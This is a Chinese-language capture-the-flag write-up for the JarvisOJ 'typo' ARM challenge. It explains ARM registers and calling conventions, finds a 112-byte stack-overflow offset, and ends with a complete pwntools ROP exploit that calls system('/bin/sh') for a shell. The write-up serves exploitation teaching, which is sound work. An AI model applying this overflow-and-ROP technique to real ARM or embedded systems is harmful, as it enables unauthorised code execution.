jarvisoj-typo(arm_pwn)

checksec

1

32位的arm架构

arm概述

1
2
ARM架构过去称作进阶精简指令集机器(Advanced RISC Machine,更早称作:Acorn RISC Machine),是一个精简指令集(RISC)处理器架构,其广泛地使用在许多嵌入式系统设计。由于节能的特点,ARM处理器非常适用于移动通讯领域,符合其主要设计目标为低耗电的特性。因此我们常用的手机、平板等移动设备都是采用ARM体系架构的

使用QEMU进行模拟运行

qemu是一个通用的、开源的机器仿真器和虚拟机。如何安装以及调试不同架构在IOT环境搭建里有介绍,这里不再重复

arm架构的基础知识

32位

关于arm的函数调用约定,函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中。除此之外,arm 的 b/bl 等指令实现跳转; pc 寄存器相当于 x86 的 eip,保存下一条指令的地址,也是我们要控制的目标。
2

3

64位

其中寄存器用x[n]表示64位的,8字节,w[n]表示取低32位,4字节,x0~x7用来实现函数传参,不够则使用栈来传递,x0用来存放函数的返回值。x29即fp,栈底指针寄存器;x30即lr,用来保存子程序的返回地址。sp栈顶指针寄存器,指向栈顶数据;pc指令指针寄存器,存放下一条指令地址;cpsr程序状态寄存器。

5

了解大致程序流程

再回头来看这道题,这题是静态链接的,所以拖进IDA里的代码量很大,但是如果我们想要去找一些函数(system()函数)或者字符串(比如/binsh)都可以在程序中搜索到

6

首先输入回车begin,然后还会给我们输入,但是如果输入的数据过长会导致核心转储,存在栈溢出,这里在IDA里面因为扣了符号表,我们不能直观的去找到栈溢出的偏移,我们可以尝试gdb动态调试7

我们在第二处输入点输入cyclic200生成的字符串,pc指针指向0x62616164发生了崩溃,cyclic -l 0x62616164得到偏移为112

再在IDA里查找字符串/bin/sh,ctrl+x查看交叉引用,来到sub_10BA8()函数,基本能确定这就是我们要的ret_addr了

那么现在我们需要一段gadget来控制r0寄存器就行了

8

找到了一条gadget,那么可以编写exp了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.arch="arm"
context.log_level="debug"

io = process(["qemu-arm","./typo"])

binsh = 0x0006c384
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
payload = b"a"*112 + p32(pop_r0_r4_pc) + p32(binsh)*2 + p32(system)

io.recvuntil("quit\n")
io.send("\n")

io.recvline()
io.sendline(payload)

io.interactive()